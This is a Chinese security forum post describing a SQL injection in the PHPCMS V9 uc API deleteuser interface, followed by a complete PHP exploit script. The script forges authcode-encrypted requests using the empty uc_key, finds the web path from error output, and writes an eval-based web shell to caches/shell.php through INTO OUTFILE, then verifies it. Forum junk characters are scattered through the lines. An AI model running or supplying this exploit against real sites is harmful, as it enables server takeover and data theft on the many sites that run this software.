找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2028|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。3 O+ d: t! J1 H* m" m
" {& t2 z( g, O: ^
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
) i% O; }8 }" L, z3 Y) {
; F4 V* \  p9 q/ q! e漏洞分析:
: W& H2 A$ Z1 `( E( Q( [1.未启用ucenter服务的情况下uc_key为空
! X, a" x' u% N7 W7 |) ?define('UC_KEY', pc_base::load_config('system', 'uc_key'));; S8 ]( y* m* Z/ M! `
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。( J* X# }8 z- G# u& f7 E
    public function deleteuser($get,$post) {0 v: U* Z, J: M6 T4 J
        pc_base::load_app_func('global', 'admin');
* }4 ]6 O  c$ b        pc_base::load_app_class('messagequeue', 'admin' , 0);
4 Z+ G/ ]4 `2 R6 y; l        $ids = new_stripslashes($get['ids']);
9 V: T7 i( }; `; j        $s = $this->member_db->select("ucuserid in ($ids)", "uid");$ W- }7 U  k' g8 _" U$ v, n1 H
SQL语句为- b6 _4 r5 D6 K
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
, d8 t1 F/ k0 q% c6 O2 f2 o0 |% Z
4 y& P" D9 ?2 s# N; |利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell. q# ~/ o2 u7 _' V& V' ^. k
<?php" s, T! x& s5 G
print_r('; a% G6 C3 X4 d8 a5 Y, I# w* [/ t
---------------------------------------------------------------------------9 l5 G& @. }, S8 p2 N+ e( W
PHPcms (v9 or Old Version) uc api sql injection 0day
5 L5 K2 q+ U( c9 Kby rayh4c#80sec.com8 D$ j( G7 j/ Q, m
---------------------------------------------------------------------------
: w' Y6 d# E& b( |+ o');
0 {  r" {% @  p3 m% r5 C& {$ _2 |0 ]. {  M
if ($argc<3) {
' B! D. O4 l7 Y+ e! U" ~* R    print_r('
) N% @) B4 I/ p) m+ i% q---------------------------------------------------------------------------
# _5 [" f# M7 Y  F: E  [Usage: php '.$argv[0].' host path OPTIONS, ~" c% Y0 T# [! W
host:      target server (ip/hostname)
+ Y  A" ?: H5 f$ vpath:      path to phpcms
! C+ E$ _/ t# vOptions:5 z2 `1 S4 v5 L6 ~& ^5 k
-p[port]:    specify a port other than 80
  l: n& X  u2 E -P[ip:port]: specify a proxy) I" X; G) Y) ?  P' u
Example:9 I  I" p8 q7 F
php '.$argv[0].' localhost /
! Q( R8 K. w* p# w" Z! K, w. \php '.$argv[0].' localhost /phpcms/ -p81) T; x$ _7 u& ^% i- K6 a7 P
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% x! C) ?$ {) X: ?3 k, P9 }---------------------------------------------------------------------------1 [1 ^! g+ v9 H9 u7 C- U7 O
');
/ O: F. |- v1 v/ D" V+ ^; G, a, P    die;: Q8 l: G; U, H& O+ K( x' ^
}6 |# r" ?" t6 `

& @3 ~$ a" k5 J: `3 ?: x7 I3 K2 h, Nerror_reporting(7);5 ]8 e1 S0 P1 f! _0 y
ini_set("max_execution_time",0);
6 [" @% m; E6 P( p3 M$ xini_set("default_socket_timeout",5);+ K' Z) @9 K3 t' x) Y# q) X

! W/ I/ Y' S! t9 N7 l; }function quick_dump($string)
4 L+ k9 y7 M# v{2 T" M' f9 W/ m3 C8 N% B3 T" x
  $result='';$exa='';$cont=0;) M% Q8 q+ u: k- F. C( U8 t
  for ($i=0; $i<=strlen($string)-1; $i++)* {% K/ F$ y" m& p" O5 T
  {
! B& O% Y$ l! K9 H" {# J) C   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
: {5 `9 T1 Y& h4 p- m( v) u   {$result.="  .";}
7 W1 }/ m7 @* O! ]4 I: c: t/ l: D1 i   else
! o+ B5 b( L4 y/ i8 [; Q; Y# k1 S   {$result.="  ".$string[$i];}5 |% P: \9 Y+ e
   if (strlen(dechex(ord($string[$i])))==2)
! J: n! H2 y# E5 v. k; t5 e3 `7 R0 R   {$exa.=" ".dechex(ord($string[$i]));}
5 ~# ?3 J6 ^, N6 e; a! g: ~   else$ i$ u3 c/ {+ z. w; l( E( D
   {$exa.=" 0".dechex(ord($string[$i]));}
% v/ |5 \4 C9 T9 q; l. P, V+ m; v   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}$ u# m% ^1 {" h5 N8 I7 l5 h
  }1 d. a: S6 e, H$ D' C( V
return $exa."\r\n".$result;' e4 r# z9 D: ?* S
}
0 w/ N: z, s1 c$ e4 \% c$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
, T+ a- `/ a/ I. N8 l, p8 E% {% u
1 C3 v& |- |& f6 p8 n: }function send($packet)8 ]( P: h' }3 c
{
, H# x$ v2 o; A% E+ D: Z5 e  global $proxy, $host, $port, $html, $proxy_regex;
9 O8 x9 ~8 R) O  if ($proxy=='') {
8 |3 Q- \* p. E. |( u. `; ~    $ock=fsockopen(gethostbyname($host),$port);6 U0 l6 x. v2 W2 E
    if (!$ock) {4 [0 t. U1 ?' G1 ?
      echo 'No response from '.$host.':'.$port; die;2 K3 T0 s4 u; e. Q, s$ u
    }
( y, Q$ K' h4 D& {2 Z0 W! u  }
( d$ r- Z' w, |4 h  else {
# p& T* b; s. N' r- D/ h        $c = preg_match($proxy_regex,$proxy);  D+ t" i' i& ^$ w
    if (!$c) {
. N. b& p6 _5 ^3 z+ ^) H( P      echo 'Not a valid proxy...';die;
$ j& t7 v* M3 ]* |) m    }, b9 C/ O3 _( Q; O, \2 N, l
    $parts=explode(':',$proxy);
, K  a9 o+ `) q! i# u* ]    $parts[1]=(int)$parts[1];' e1 c/ v# i0 L
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 W* k0 Q0 [4 k( ^% N* N7 r
    $ock=fsockopen($parts[0],$parts[1]);
3 \# P) z9 L: g" y- z# K  E6 ]7 Q    if (!$ock) {
9 t1 w2 E( M5 u      echo 'No response from proxy...';die;
) \/ \+ o; S6 ]8 [3 Y, u        }
+ p* q# @9 p  C% e+ [+ s! h  }
; O* B0 l9 B% s  {  fputs($ock,$packet);1 u8 v% u0 h4 D& E. A; x3 Q# F* s
  if ($proxy=='') {
+ K: Q. p. l+ k    $html='';( F! {6 w) z2 @4 O7 o
    while (!feof($ock)) {* I4 C$ U* P6 a4 M) M! v
      $html.=fgets($ock);6 i5 w+ k, W! Q
    }
* y9 _2 V( b3 l( Y& [  }
8 l2 s9 r+ U. j: L  else {& P) V" F; ^7 F* Y1 L# m, T
    $html='';
  Z+ J9 L9 T+ C  Y8 y    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
( b5 O4 o9 e  C4 S" O7 r      $html.=fread($ock,1);# l+ r8 }' S+ N" o8 {
    }9 K/ ]+ ?: a0 o* ~; [
  }3 R$ T" v  v1 T2 ^5 C  _1 N
  fclose($ock);& A! N- y5 u. A6 _) w' z
}5 M& L; b8 D% G4 G) }4 z% c& L* a
" H7 d; u4 }+ o% D! k
$host=$argv[1];$ Z3 Y; ]6 z0 h
$path=$argv[2];
- R% i1 b- Q7 j' G1 }+ G! L$port=80;
) x& x9 O( X6 V$proxy="";% O' ^: u7 T. Y7 J0 I
for ($i=3; $i<$argc; $i++){4 ], {  o# C( ~3 B
$temp=$argv[$i][0].$argv[$i][1];; t. a) G7 N! p  ]- F) |
if ($temp=="-p")' G7 a* s# X0 ~  p. P
{
9 f! d' U7 X1 A$ P. I/ W  $port=(int)str_replace("-p","",$argv[$i]);5 B0 b6 n7 Y3 _8 q& k) V# k
}+ |2 Z- I, q  `# }+ A
if ($temp=="-P")
/ c. Z/ S9 X! k* ^: y{1 d" I5 p0 N; X. E
  $proxy=str_replace("-P","",$argv[$i]);
. @$ O" `- T% T, k. |  h}
$ }5 X3 b8 D9 U5 x+ l& ~+ x}
- b' e. s7 u8 X  _& }
) a& b! y2 P, h. ]if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}" T& f% Q8 n& f% Y. @* e
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 O  t2 a; ?+ C! P. `# n
! y* l$ t; J9 [! \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
* W3 }" P3 P" G9 k  a% W  f$ N
$ ?5 K, M8 V' s    $ckey_length = 4;
6 x5 f3 O# P, h2 j5 f. T  C% G
) c; ]1 Q) u/ g. {/ F7 z6 H% b    $key = md5($key ? $key : '');
2 j; R8 A( I% V    $keya = md5(substr($key, 0, 16));  G  \" P0 ?6 v6 X% f/ o  M3 H+ V
    $keyb = md5(substr($key, 16, 16));
8 `( r; G7 U& U: v4 G    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
& j6 @, o, E: ]) s0 t
7 M# @' d6 T: [5 X' j    $cryptkey = $keya.md5($keya.$keyc);
% O8 G4 d' y. p8 G1 F: j  u, H. e    $key_length = strlen($cryptkey);
4 u$ D2 O6 j. v* c9 M: _9 g
* N5 S: y8 S# I4 P) |; m    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;* \9 X# G& w$ U$ _# [
    $string_length = strlen($string);
3 ?( z/ L3 a, E9 G! A
9 ~" M" B- N5 C" }/ V& N% }    $result = '';. X  p: J! T2 Z/ E6 E  D7 P
    $box = range(0, 255);& j7 Y$ B5 Y$ x' Y, }  s: R

# k  M3 s" F" M# r" D; x    $rndkey = array();
/ Y0 L2 H5 m, i4 M    for($i = 0; $i <= 255; $i++) {
8 P) u- B$ N8 ]( P, _6 m        $rndkey[$i] = ord($cryptkey[$i % $key_length]);( I2 G# N5 U9 M" M9 }5 j
    }
2 R5 U2 U' Q- m
" l+ |0 R5 c, [5 w% R3 K) c    for($j = $i = 0; $i < 256; $i++) {# ?& G4 B3 r6 S$ b* O
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, v; A. H' Y1 f* J( s        $tmp = $box[$i];
) B* {$ b" D- X2 A        $box[$i] = $box[$j];" s9 i: K+ U1 Z, f" M0 I
        $box[$j] = $tmp;3 N' k+ K  y5 ]; f2 y
    }1 X" u6 D+ A" {- I6 e: R

3 k- w+ j! G' Y! ]# D. E$ V    for($a = $j = $i = 0; $i < $string_length; $i++) {  D/ g. q' f2 f& O
        $a = ($a + 1) % 256;% p) L6 Y- V. D6 O
        $j = ($j + $box[$a]) % 256;1 d  J9 A9 J" S, |5 \) ]
        $tmp = $box[$a];+ L+ ^' J4 d) W+ h# s
        $box[$a] = $box[$j];& F1 z# B- q& ?& }+ d: r/ A! {
        $box[$j] = $tmp;
- f7 u* C4 d7 B" v) v: M1 q        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));* n/ O1 Y  w4 T; B* l8 X
    }% F5 c+ V# x! L

. ^% p+ F! j% I; V" a    if($operation == 'DECODE') {9 ~( S* X  y$ Y
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {5 p. ]+ ~4 H" h
            return substr($result, 26);
- ]# E6 x4 a, |! l  u        } else {9 e8 P2 s% Q& U2 K1 y( T' F8 b
            return '';
  I3 B9 {0 r9 O, p' L        }; n5 g% x  w- J4 E, A0 f$ V
    } else {# [" c  P% |! f; g
        return $keyc.str_replace('=', '', base64_encode($result));
0 x& ?- o" ]. [    }
, @( F8 m/ N" x1 _  @  n+ j, E
- }$ D1 \% A- d. N" y5 i}! H* M& U: X* v/ B- W
; G6 f, F% [& B- f+ |- j/ r
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";, d" m$ m# [7 y: L6 h4 q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' w5 s" x9 C, `" u( M; l) necho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 `) y! W2 Z  r; i5 U  t; @$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";6 W8 L& z2 K, [  ^
$packet.="User-Agent: Mozilla/5.0\r\n";5 @# i3 T1 B  N# ^! U8 Z: M0 M0 W
$packet.="Host: ".$host."\r\n";0 o/ h5 r* L1 U: H. O1 l
$packet.="Connection: Close\r\n\r\n";7 x5 h6 v* d/ I3 g0 z0 d" j; B
send($packet);2 Q+ L& w7 p- j7 P
if(strpos($html,"MySQL Errno") > 0){5 Q% F6 l- t7 U
echo "[2] 发现存在SQL注入漏洞"."\n";9 t" d5 j% f6 W6 H+ a
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";( p6 B7 T8 e6 ^8 Q8 f
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";, K/ M# C7 y* N* ~- ~# @8 T2 @( W
$packet.="User-Agent: Mozilla/5.0\r\n";
, }3 m) t6 z$ L7 T6 Q4 R$packet.="Host: ".$host."\r\n";- e% k( {* q  {( b. L: s
$packet.="Connection: Close\r\n\r\n";( W- [* Z7 H# a% z( d
send($packet);
- B% [: V4 M* C- D6 }* Ipreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
& t; q) m- ~$ _& y* D3 p: y//print_r($matches);- q" M# N% s5 B" T1 {$ g/ m& g4 _3 P9 F
if(!empty($matches)){- u. `! c' \! N9 g" v
echo "[4] 得到web路径 " . $matches[0]."\n";8 f# x7 G: a3 j
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";6 w& V6 [3 A" w* X: K6 v
$SQL = "time=999999999999999999999999&ids=1)";  D2 Q; A7 |* }% D9 a# e+ Z9 j
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
" N2 u/ q; Q2 c* u& U1 g$SQL.="&action=deleteuser";% [6 T& ]( n5 T3 K1 n  e" ^' A
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 n; J( X1 K' `6 E) Lecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";6 p7 V" M+ r% k; ~6 L8 v
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) m4 v" T+ [4 j$packet.="User-Agent: Mozilla/5.0\r\n";& }) ?9 p: U4 E. z- _, F8 X
$packet.="Host: ".$host."\r\n";
( z) y, E% \( S3 X  t$packet.="Connection: Close\r\n\r\n";
; r1 k; n" D' r3 f$ ]9 asend($packet);
- A! T1 X7 H4 i- bif(strpos($html,"Access denied") > 0){2 m' F  V  b6 z
echo "[-] MYSQL权限过低 禁止写入文件 ";& U: {1 _# S' O2 {5 c, C7 E
die;
, ~. E0 e: O$ g# ]}
3 b3 P: ~$ G& d/ ?9 O4 V2 q2 O2 O2 Zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";  B% G; T7 _$ g7 m. W# E) c% f
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
' R) V  y! n4 v$ ^$packet.="User-Agent: Mozilla/5.0\r\n";
' Q' m* E/ j; z# \: {$packet.="Host: ".$host."\r\n";) \$ g$ u7 Z3 D% x: B2 u! W$ r
$packet.="Connection: Close\r\n\r\n";9 P6 \* c% u' b' T5 l9 X" o
send($packet);, X  b8 \8 M4 {4 D+ X( O
if(strpos($html,"<title>phpinfo()</title>") > 0){
5 f) o# o6 W% eecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 H8 X8 N, ~  D" ]' e" H# y/ n
}
+ u  d+ a! U' S  \! B* J) ?; j}else{8 z+ Q! O0 J4 u# l$ I0 H7 r
echo "[-]未取到web路径 ";
8 [( @; y: s/ j* j+ D}
, Z1 `& t# I/ ]2 [% |9 d}else{: E8 k! b* g0 U. v( T8 R  S
echo "[*]不存在SQL注入漏洞"."\n";
) c: g" A" ?6 k! {3 g5 q5 A2 I}7 H0 D  a4 ^) n2 \, l8 j

8 p1 Z" h/ h% F1 g4 X" S?>
2 G; T2 {* v' d7 W! g3 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表